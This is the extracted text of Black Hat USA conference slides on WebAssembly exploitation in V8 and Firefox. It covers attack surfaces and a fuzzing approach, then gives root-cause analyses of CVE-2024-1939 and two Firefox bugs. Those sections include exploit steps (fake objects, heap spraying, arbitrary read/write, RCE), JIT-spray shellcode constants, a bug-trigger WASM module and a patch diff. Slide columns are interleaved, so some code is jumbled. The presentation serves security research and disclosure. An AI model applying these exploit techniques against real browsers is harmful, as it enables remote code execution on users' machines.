Exploiting - WASM Telegram - m@ThreatServer
Exploiting - WASM Telegram - m@ThreatServer
#BHUSA @BlackHatEvents
Background
#BHUSA @BlackHatEvents
Introduction
ByteCode Execution
Exploited V8 Bugs in 2024
Runtime Build
• Introduced in the past two years Runtime Build
External Interaction
#BHUSA @BlackHatEvents
Bug History Recap
ByteCode Execution
• Compilation Issues
1. Edge Cases Oversights
Runtime Build Runtime Build
2. Binary Parsing
• Memory Management Issues
1. Side Effect in expanding
2. Integer Overflow
External Interaction
#BHUSA @BlackHatEvents
WASM Development Status
ByteCode Execution
• New proposals
#BHUSA @BlackHatEvents
Exploitation difficulty
ByteCode Execution
JS vs Wasm
External Interaction
#BHUSA @BlackHatEvents
Exploitation difficulty
ByteCode Execution
JS vs Wasm
#BHUSA @BlackHatEvents
Exploitation difficulty
ByteCode Execution
Compliation vs Execution
#BHUSA @BlackHatEvents
Workflow And Attack Surfaces
in WASM
#BHUSA @BlackHatEvents
Workflow in WASM
Compilation
//Output: 1337
#BHUSA @BlackHatEvents
Workflow in WASM
The Compilation Phase
[*] https://blackhat.com/asia-23/briefings/schedule/#attacking-the-webassembly-compiler-of-webkit-30926
#BHUSA @BlackHatEvents
Workflow in WASM
The Execution Phase
#BHUSA @BlackHatEvents
Workflow in WASM
The Execution Phase
• Runtime Build
• ByteCode Execution
• External Interaction
• Runtime Build
Runtime Build
• ByteCode Execution Runtime Build
• External Interaction
External Interaction
#BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
The Execution Phase – Runtime Build
#BHUSA @BlackHatEvents
Bugs in WASM
ByteCode Execution
Bugs in Runtime Build Process
External Interaction
• Issue 268424: Stack Overflow in Safari [4] WasmEH JIT
Since 2018
External Interaction
Since 2014
[*] Take V8 as an example; the same applies to other WebAssembly engines. #BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
The Execution Phase – Bytecode Exec
• Baseline compiler v.s Optimizing compiler [*]
Since 2018
External Interaction
Tail Call GC
Exception
…
Since 2014 Handling
[*] Take V8 as an example; the same applies to other WebAssembly engines. #BHUSA @BlackHatEvents
Bugs in WASM
ByteCode Execution
Bugs in Bytecode Exec Process
External Interaction
#BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
External Interaction
External Interaction
#BHUSA @BlackHatEvents
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?
#BHUSA @BlackHatEvents
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?
WASM JavaScript
WasmI32 WasmI64 Small Integer
(SMI)
WasmF32 WasmF64
JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …
…
WasmS128
#BHUSA @BlackHatEvents
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?
WASM JavaScript
WasmI32 WasmI64 Small Integer
(SMI)
WasmF32 WasmF64
JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …
…
WasmS128
#BHUSA @BlackHatEvents
https://hacks.mozilla.org/2019/08/webassembly-interface-types/
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?
WASM JavaScript
WasmI32 WasmI64 Small Integer
(SMI)
WasmF32 WasmF64
JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …
…
WasmS128
#BHUSA @BlackHatEvents
https://hacks.mozilla.org/2019/08/webassembly-interface-types/
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?
#BHUSA @BlackHatEvents
Workflow in WASM
WASM-To-JS Wrapper & JS-To-WASM Wrapper
#BHUSA @BlackHatEvents
http://www.dcs.fmph.uniba.sk/bakalarky/registracia/getfile_obhajoba.php/obhajoba_slajdy.pdf?id=427&fid=700&type=application%2Fpdf
Bugs in Active External Interaction
WASM-To-JS Wrapper & JS-To-WASM Wrapper
The Optimization of glue code
#BHUSA @BlackHatEvents
Bugs in Active External Interaction
WASM-To-JS Wrapper & JS-To-WASM Wrapper
The Optimization of glue code
[1] https://issues.chromium.org/issues/40057950
[2] https://issues.chromium.org/issues/324596281
[3] https://issues.chromium.org/issues/323694592 #BHUSA @BlackHatEvents
[4] https://bugs.webkit.org/show_bug.cgi?id=251878
Workflow in WASM
Passive External Interaction
Although WASM is an independent module running in VM with isolated memory, it is still possible to interact with
JavaScript for various reasons.
[+] https://github.com/WebAssembly/exception-handling/blob/main/proposals/exception-handling/Exceptions.md
[*] https://github.com/WebAssembly/gc/blob/main/proposals/gc/Overview.md #BHUSA @BlackHatEvents
WebAssembly.instantiateStreaming(fetch("example.wasm"), importObject)
Workflow in WASM
.then((obj) => {
console.log(obj.instance.exports.run());
})
.catch((e) => {
console.error(e);
Passive External Interaction – Wasm EH // Check we have the right tag for the exception
// If so, use getArg() to inspect it
});
/* Log output
example.js:6 WebAssembly.Exception: wasm exception
*/
(module
(import "js" "myFunction" (func $myFunction (param i32 i32) (result i32)))
CVE-2022-3885: Use After Free in V8. Reported by gzobqq@ [1] Chrome Wasm EH
Issue 41491234: Use After Free in V8. Reported by johnshoop [2] Wasm multi-
Chrome
memory
[1] https://bugs.chromium.org/p/chromium/issues/detail?id=1377816
[2] https://issues.chromium.org/issues/41491234 #BHUSA @BlackHatEvents
Workflow in WASM
Passive External Interaction – Wasm GC
Motivation: Efficient support for high-level languages; Provide access to industrial-strength GCs
Approach:
CVE-2024-4761: Out-of-bounds access in V8. Reported by
• linear memory [i32, i64, f32, f64] -> non-linear structure [WasmArray WasmStruct] Amonymous[1] WasmGC
[1] https://issues.chromium.org/issues/339458194
[2] https://issues.chromium.org/issues/339736513 #BHUSA @BlackHatEvents
Attack Surface Summary
• Optimizations in Translators
#BHUSA @BlackHatEvents
Bug Hunting Method
in WASM
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Original Wasm Generator
WASM
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Wasm Generator Optimization
1) Enrich the wasm generator
WASM
Tail Call GC
Exception JS String
Handling Builtins
JS Object Usage
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Wasm Generator Optimization
1) Enrich the wasm generator Export:
2) Save random shared objects list Random
Shared
• Functions
Objects • Tables
List
• Memories
• Globals
Import:
• Globals
WASM
• Tables
• Memories
Wasm Generator Wasm Samples • Functions(Builtins
included)
Enrich
Tail Call GC
Exception JS String
Handling Builtins
JS Object Usage
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
JavaScript Generator Optimization
1) Transfer shared objects list to Js generator (Fuzzilli)
Random
Shared
Objects
List
WASM
JS
Wasm Generator Wasm Samples JS Generator Wasm+JS Samples
Enrich
Tail Call GC
Exception JS String
Handling Builtins
JS Object Usage
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
JavaScript Generator Optimization
1) Transfer shared objects list to Js generator (Fuzzilli)
2) Increase the shared objects Usage & Mutation Random
Shared
Objects
List
WASM
JS
Wasm Generator Wasm Samples JS Generator Wasm+JS Samples
Enrich Increase
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Generator Optimization
1) Wasm Template: [JIT(inline/tierup/optimization), Exception]
2) Javascript Template: [JIT, Exception] Random
Shared
Objects
List
WASM
JS
Wasm Generator Wasm Samples JS Generator Wasm+JS Samples
Enrich Template Increase Template
Tail Call GC
JIT Shared Object JIT
Usage
Exception JS String Exception
Exception
Handling Builtins Throw
Throw Shared Object
JS Object Usage
Mutator …
…
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Raw Bytes
Code Coverage
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Opt Raw Bytes
Bytes A Bytes B
Code Coverage
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Opt
#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Opt
Different Logs
#BHUSA @BlackHatEvents
Bug Hunting Method
in WASM
Fuzzing Loop Opt Raw Bytes
Bytes A Bytes B
Code Coverage
Check
Stage
Runtime Log
#BHUSA @BlackHatEvents
Bug Hunting Method
in WASM
Fuzzing Loop Opt Raw Bytes
Bytes A Bytes B
Exploitable Bugs
Code Coverage
Check
Execution Samples
Stage
Runtime Log
#BHUSA @BlackHatEvents
Case Study and Exploitation
Tech
in WASM
Chromium
#BHUSA @BlackHatEvents
Background: JS-To-WASM & WASM-To-JS
When calling between different context, call wrapper rather than JS Function or WASM Function directly.
#BHUSA @BlackHatEvents
Background: Generic WASM-To-JS wrapper
Original WASM-To-JS Wrapper
wasm::WasmCompilationResult CompileWasmImportCallWrapper(
wasm::CompilationEnv* env, wasm::ImportCallKind kind,
const wasm::FunctionSig* sig, bool source_positions, int expected_arity,
• Compile the WASM-To-JS wrapper with Turbofan. wasm::Suspend suspend) {
//[...]
auto compile_with_turbofan = [&]() {
• WASM-To-JS Wrapper compiled when WASM module //[...]
SourcePositionTable* source_position_table =
created. source_positions ? zone.New<SourcePositionTable>(graph) : nullptr;
// [...]
};
auto result = v8_flags.turboshaft_wasm_wrappers ? compile_with_turboshaft()
: compile_with_turbofan();
// [...]
return result;
}
https://docs.google.com/document/d/116DA2Ly_w9aZpBxDe_KYNJSt-AMkykhFIH2pBTSP0vc
#BHUSA @BlackHatEvents
Background: Generic WASM-To-JS wrapper
Generic WASM-To-JS Wrapper
// static
void WasmTrustedInstanceData::ImportWasmJSFunctionIntoTable(
Isolate* isolate, Handle<WasmTrustedInstanceData> trusted_instance_data,
• Compile the WASM-To-JS wrapper in Architecture-related int table_index, int entry_index, Handle<WasmJSFunction> js_function) {
//[...]
builtins. wasm::WasmImportWrapperCache* cache = native_module->import_wrapper_cache();
wasm::WasmCode* wasm_code =
cache->MaybeGet(kind, canonical_sig_index, expected_arity, suspend);
• WASM-To-JS Wrapper compiled when imported JS Function Address call_target;
if (wasm_code) {{// Generic WASM-To-JS Wrapper
called. call_target = wasm_code->instruction_start();
} else if (UseGenericWasmToJSWrapper(kind, sig, resolved.suspend())) {
call_target = isolate->builtins()
->code(Builtin::kWasmToJsWrapperAsm)
• It enables a no-TurboFan mode for which could reduce the ->instruction_start();
}else {// Original WASM-To-JS Wrapper
size of the V8 binary for low-end devices. wasm::CompilationEnv env = native_module->CreateCompilationEnv();
wasm::WasmCompilationResult result =
compiler::CompileWasmImportCallWrapper(&env, kind, sig, false,
expected_arity, suspend);
//[...]
}
}
https://docs.google.com/document/d/116DA2Ly_w9aZpBxDe_KYNJSt-AMkykhFIH2pBTSP0vc
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Root Cause
Handle<WasmInternalFunction>
WasmInstanceObject::GetOrCreateWasmInternalFunction(
The Bug was introduced in the patch fixing another bug related Isolate* isolate, Handle<WasmInstanceObject> instance, int function_index) {
to the feature `js-to-wasm wrapper inlining`. // [...]
if (v8_flags.wasm_to_js_generic_wrapper && IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
ref = isolate->factory()->NewWasmApiFunctionRef(
handle(wafr->callable(), isolate),
static_cast<wasm::Suspend>(wafr->suspend()),
handle(wafr->instance(), isolate), handle(wafr->sig(), isolate));
}
// [...]
auto result = isolate->factory()->NewWasmInternalFunction(
IsWasmApiFunctionRef(*ref) ? 0 : instance->GetCallTarget(function_index),
ref, rtt, function_index);
if (IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
WasmApiFunctionRef::SetInternalFunctionAsCallOrigin(wafr, result);
result->set_code(isolate->builtins()->code(Builtin::kWasmToJsWrapperAsm));
}
WasmInstanceObject::SetWasmInternalFunction(instance, function_index, result);
return result;
}
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Root Cause
Handle<WasmInternalFunction>
WasmInstanceObject::GetOrCreateWasmInternalFunction(
The Bug was introduced in the patch fixing another bug related Isolate* isolate, Handle<WasmInstanceObject> instance, int function_index) {
to the feature `js-to-wasm wrapper inlining`. // [...]
if (v8_flags.wasm_to_js_generic_wrapper && IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
ref = isolate->factory()->NewWasmApiFunctionRef(
handle(wafr->callable(), isolate),
static_cast<wasm::Suspend>(wafr->suspend()),
handle(wafr->instance(), isolate), handle(wafr->sig(), isolate));
}
// [...]
auto result = isolate->factory()->NewWasmInternalFunction(
IsWasmApiFunctionRef(*ref) ? 0 : instance->GetCallTarget(function_index),
ref, rtt, function_index);
if (IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
WasmApiFunctionRef::SetInternalFunctionAsCallOrigin(wafr, result);
result->set_code(isolate->builtins()->code(Builtin::kWasmToJsWrapperAsm));
}
WasmInstanceObject::SetWasmInternalFunction(instance, function_index, result);
return result;
}
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939) void
//
Builtins::Generate_WasmToJsWrapperAsm(MacroAssembler* masm) {
Pop the return address into a scratch register and push it later again. The
// return address has to be on top of the stack after all registers have been
The Check in Runtime_WasmToJsWrapperAsm // pushed, so that the return instruction can find it.
__ popq(kScratchRegister);
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Wasm Stack outParams
JSObect generation in WasmToJsWrapperCSA (FixedArray)
Param 2 Param 1
1) Allocate a FixedArray to store generated Param 3 Param 2
JSObject. Param 4 Translator Param 3
GP Section
Param 6 …
2) Take out the parameters in order Getter
Param 7 GetFP32Slot
GetGPSlot
3) Convert to JSobject according to the type Param 1 GetStackSlot
……
Param 5
4) Save to the FixedArray Param 8 FP Section
Converter
Param 9 WasmToJSObject
5) Call the real Imported Javascript Fuction with the I64ToBigInt
Param 10 I32PairToBigInt
FixedArray *RefCast<int32>
……
Param 11
Param 12
StackSloat Section
Param 13
……
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
The broken assumption macro GetStackSlot(): &intptr {
if constexpr (Is64()) {
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.nextStack += torque_internal::SizeOf<intptr>();
• Each time, 8 bytes or 4 bytes of length(according to return result;
} else {
Architecture Bits) are read sequentially from the stack as if (this.smallSlot != 0) {
variables. const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.smallSlot);
this.smallSlot = 0;
this.smallSlotLast = false;
return result;
}
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.smallSlot = this.nextStack + torque_internal::SizeOf<intptr>();
this.nextStack = this.smallSlot + torque_internal::SizeOf<intptr>();
this.smallSlotLast = true;
return result;
}
}
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
The broken assumption macro GetStackSlot(): &intptr {
if constexpr (Is64()) {
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.nextStack += torque_internal::SizeOf<intptr>();
• Each time, 8 bytes or 4 bytes of length(according to return result;
} else {
Architecture Bits) are read sequentially from the stack as if (this.smallSlot != 0) {
variables. const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.smallSlot);
this.smallSlot = 0;
this.smallSlotLast = false;
return result;
}
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.smallSlot = this.nextStack + torque_internal::SizeOf<intptr>();
Wait… How about S128bit in WASM? this.nextStack = this.smallSlot + torque_internal::SizeOf<intptr>();
this.smallSlotLast = true;
return result;
}
}
#BHUSA @BlackHatEvents
void LiftoffAssembler::Spill(int offset, LiftoffRegister reg, ValueKind
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Wasm Stack outParams
Root Cause: Ignored S128 type (FixedArray)
Param 2 Param 1
When a S128 param on stack: Param 3 Param 2
Param 4 GP Section Translator Param 3
• When generating THIS parameter, truncation occurs (as
its original type). Param 6 Param 4
Getter
Param 7 GetFP32Slot Param 5
GetGPSlot
Param 1 GetStackSlot Param 6
……
• When generating NEXT parameter, it uses part of S128 Param 7
Param 5
param as it value, and convert the value to JSObject using
Param 8 FP Section Param 8
it own type. Leading to a type confusion! Converer Truncation
#BHUSA @BlackHatEvents
macro WasmToJSObject(context: NativeContext, value: Object, retType: int32):
• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;
• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable and also on 32bit). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;
• Case 2:kExprS128Const,
kSimdPrefix, Call WasmGenericWasmToJSObject with0x5c,
0x6f, 0xae, 0xfb, 0x2c, the 0xd7,
8 0xcf, }
if (heapType == HeapType::kEq || heapType == HeapType::kStruct ||
0xef,bytes value0x00,
to generate
0x00, 0xee,a0xd7,
JSObject. heapType == HeapType::kArray || heapType == HeapType::kString ||
0x41, 0x42, 0x3e, 0x50, // v128.const heapType == HeapType::kI31 || heapType == HeapType::kAny) {
return UnsafeCast<JSAny>(value);
corrupt out-of-V8-sandbox memory }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.
return runtime::WasmGenericWasmToJSObject(context, value);
}
} #BHUSA @BlackHatEvents
macro WasmToJSObject(context: NativeContext, value: Object, retType: int32):
• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable and also on 32bit). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;
• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable and also on 32bit). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;
What we lack: Where to fake? A stable and controllable memory? Info leak?
The Way Out: Get a stable address using enough sufficient memory stress.
https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Bohan%20Liu%20Zheng%20Wang%20GuanCheng%20Li%20-
%20ndays%20are%20also%200days%20Can%20hackers%20launch%200day%20RCE%20attack%20on%20popular%20softwares%20only%20with%20chromium%20ndays.pdf #BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address
0x8ff00000
Big ArrayBuffer
High Address
#BHUSA @BlackHatEvents
a2 = [1.1,1.2]
Fake JSString
0x8ff00000
Fake JSString
Fake JSString
Fake JSString
Big ArrayBuffer
Fake JSString
Fake JSString
High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address
Big ArrayBuffer
Fake JSString
Fake JSString
High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address
4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.
Fake JSString
FakeObj 0x8ff00000
Fake JSString
Fake JSString
Fake JSString
Big ArrayBuffer
Fake JSString
Fake JSString
High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address
4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.
Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSString
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString
Big ArrayBuffer
Fake JSString
Fake JSString
High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address
4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.
Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSArrayBuffer AAR &
AAW
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString
Big ArrayBuffer
6. Modify the FakeObj as a ArrayBuffer to get the Arbitrary Read & Write -> RCE.
Fake JSString
Fake JSString
High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address
4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.
Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSArrayBuffer
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString
Big ArrayBuffer
6. Modify the FakeObj via ArrayBuffer as a ArrayBuffer to get the Arbitrary Read & Write -> RCE.
Fake JSString
Fake JSString
High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address
4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.
Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSArrayBuffer AAR &
AAW
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString
Big ArrayBuffer
6. Modify the FakeObj via ArrayBuffer as a ArrayBuffer to get the Arbitrary Read & Write -> RCE.
Fake JSString
Fake JSString
High Address
#BHUSA @BlackHatEvents
How to Exploit (on 64bit)
What we have: Fake ANY address in V8 Sandbox as a JSObject and operate it.
What we lack: Where to fake? A stable and controllable memory? Info leak?
The Way Out: Get a stable address using enough sufficient memory stress V8 memory allocation
feature.
Some address is stable under some condition:
1. In same binary: Map, Empty FixedArray
2. Under same execution environment: HardCode String
0xABCD00004141
FakeObj 0xABCD0000415d
1. Get a stable address by allocating a HardCode String. ArrayMap
0x00096ca5
Empty FixedArray
0x000006cd
Search StartJSString Length
AAR &
a. Never changed when running in same condition, e.g. from http://127.0.0.1:1337/index.html 0x00020301 0x700008
AAW
b. We can also achieve this by JSObject spraying.
Sprayed JSObject
2. Fake a Double Array in the JSString.
0xABCD00020301
Sprayed JSObject
3. Allocate many JSObject with Specific structure to fills up the v8 heap. Sprayed JSObject
4. Trigger the Bug, get the fake JSString handler with the address 0x0000415d.
V8 Heap
#BHUSA @BlackHatEvents
Base 0xABCD00000000
How to Exploit (on 64bit) Low Address
0xABCD00004141
FakeObj 0xABCD0000415d
1. Get a stable address by allocating a HardCode String. ArrayMap
0x00096ca5
Empty FixedArray
0x000006cd
Search StartJSString Length
AAR &
a. Never changed when running in same condition, e.g. from http://127.0.0.1:1337/index.html 0x00020301 0x700008
AAW
b. We can also achieve this by JSObject spraying.
Sprayed JSObject
2. Fake a Double Array in the JSString.
0xABCD00020301
Sprayed JSObject
3. Allocate many JSObject with Specific structure to fills up the v8 heap. Sprayed JSObject
4. Trigger the Bug, get the fake JSString handler with the address 0x0000415d.
V8 Heap
#BHUSA @BlackHatEvents
Base 0xABCD00000000
Less Check in Wasm
#BHUSA @BlackHatEvents
Case Study and Exploitation Tech
in WASM
Firefox
#BHUSA @BlackHatEvents
Background: Tail-Calls
Design of Tail Call
#BHUSA @BlackHatEvents
The Bug 1862473 (Case 1)
Root Cause
Due to the bug in tail call, the stack pointer (sp) moves too far. It overwrites the locals of the parent function when copying
the arguments of the child function.
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
Check Index
Memory Visit
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
Hardcoded
Offset
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
Hardcoded
Offset
OOB
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
2.1 forge a WasmArray on the ArrayBuffer, save the address WA.
2.2 Use the bug to overwrite the WasmArray on stack to I64 with value WA.
faked
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
2.1 forge a WasmArray on the ArrayBuffer, save the address WA.
2.2 Use the bug to overwrite the WasmArray on stack to I64 with value WA.
NaN-Boxing Bypass
const ab = new ArrayBuffer(0x30);
const ua = new Uint32Array(ab);
ua[4]=0x10000; // len
ua[6]=Number(addr % 0x100000000n); // fakeobj offset
ua[7]=Number(addr >> 32n);
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
3. Get Shell: change the jit address of functionClass to a shellcode address using JIT Spray.
Store shellcode in float JSArray
const foo = ()=>
{
return [1.0,
9.203763987562782e-79,
6.375092797421955e+93,
2.6368626227639178e-284];
}
#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
3. Get Shell: change the jit address of functionClass to a shellcode address using JIT Spray.
Store shellcode in float JSArray
const foo = ()=>
{
return [1.0,
9.203763987562782e-79,
6.375092797421955e+93,
2.6368626227639178e-284];
}
#BHUSA @BlackHatEvents
The Bug 1880719 (Case 2)
Root Cause: Length interger overflow in array.new_default
#BHUSA @BlackHatEvents
void MacroAssembler::wasmBumpPointerAllocateDynamic(
The Bug 1880719 (Case 2) Register instance, Register result, Register typeDefData,
Register size,
Register temp1, Label* fail) {
Root Cause: Length interger overflow in array.new_default
···
int32_t endOffset = Nursery::offsetOfCurrentEndFromPosition();
gc::AllocSite::offsetOfNurseryAllocCount()),
temp1);
branch32(Assembler::Equal, temp1, Imm32(0), fail);
···
}
#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
a. Twice memory allocation to trigger the bug in asm code (First in OOL)
var wasm_code = wasmTextToBinary(`(module
(type $a (array i32))
(func (export "testA") (result (ref $a))
(array.new $a (i32.const 0) (i32.const 1))
drop
(array.new $a (i32.const 0) (i32.const 2147483647))
)
)`);
#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
2. Arbitry Read/Write: OOBW data file of next WasmArrayObject to the victim addr
#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
2. Arbitry Read/Write: OOBW data file of next WasmArrayObject to the victim addr
3. Addrof:
a. Alloc an i32 wasmarray
b. Alloc a ref wasmarray
c. Using JS objects as arguments of exported wasm function
c. Replace the data field of i32 wasmarray to ref wasmarray
d. Read the value of i32 wasmarray
#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
2. Arbitry Read/Write: OOBW data file of next WasmArrayObject to the victim addr
3. Addrof
4. JIT spray (same)
#BHUSA @BlackHatEvents
Patch Analysis
Add the check of storageBytes
if (lir->numElements()->isConstant()) {
- uint32_t storageBytes =
- WasmArrayObject::calcStorageBytes(mir->elemSize(), numElements);
- if (storageBytes > WasmArrayObject_MaxInlineBytes) {
+ CheckedUint32 storageBytes =
+ WasmArrayObject::calcStorageBytesChecked(mir->elemSize(), numElements);
+ if (!storageBytes.isValid() ||
+ storageBytes.value() > WasmArrayObject_MaxInlineBytes) {
···
masm.wasmNewArrayObjectFixed(instance, output, typeDefData, temp1, temp2,
- ool->entry(), numElements, storageBytes,
- mir->zeroFields());
+ ool->entry(), numElements,
+ storageBytes.value(), mir->zeroFields());
masm.bind(ool->rejoin());
}
} else {
···
masm.wasmNewArrayObject(instance, output, numElements, typeDefData, temp1,
ool->entry(), mir->elemSize(), mir->zeroFields());
···
}
}
#BHUSA @BlackHatEvents
Patch Analysis
Add the check of storageBytes,
if (lir->numElements()->isConstant()) {
- uint32_t storageBytes =
- WasmArrayObject::calcStorageBytes(mir->elemSize(), numElements);
- if (storageBytes > WasmArrayObject_MaxInlineBytes) {
+ CheckedUint32 storageBytes =
+ WasmArrayObject::calcStorageBytesChecked(mir->elemSize(), numElements);
+ if (!storageBytes.isValid() ||
+ storageBytes.value() > WasmArrayObject_MaxInlineBytes) {
···
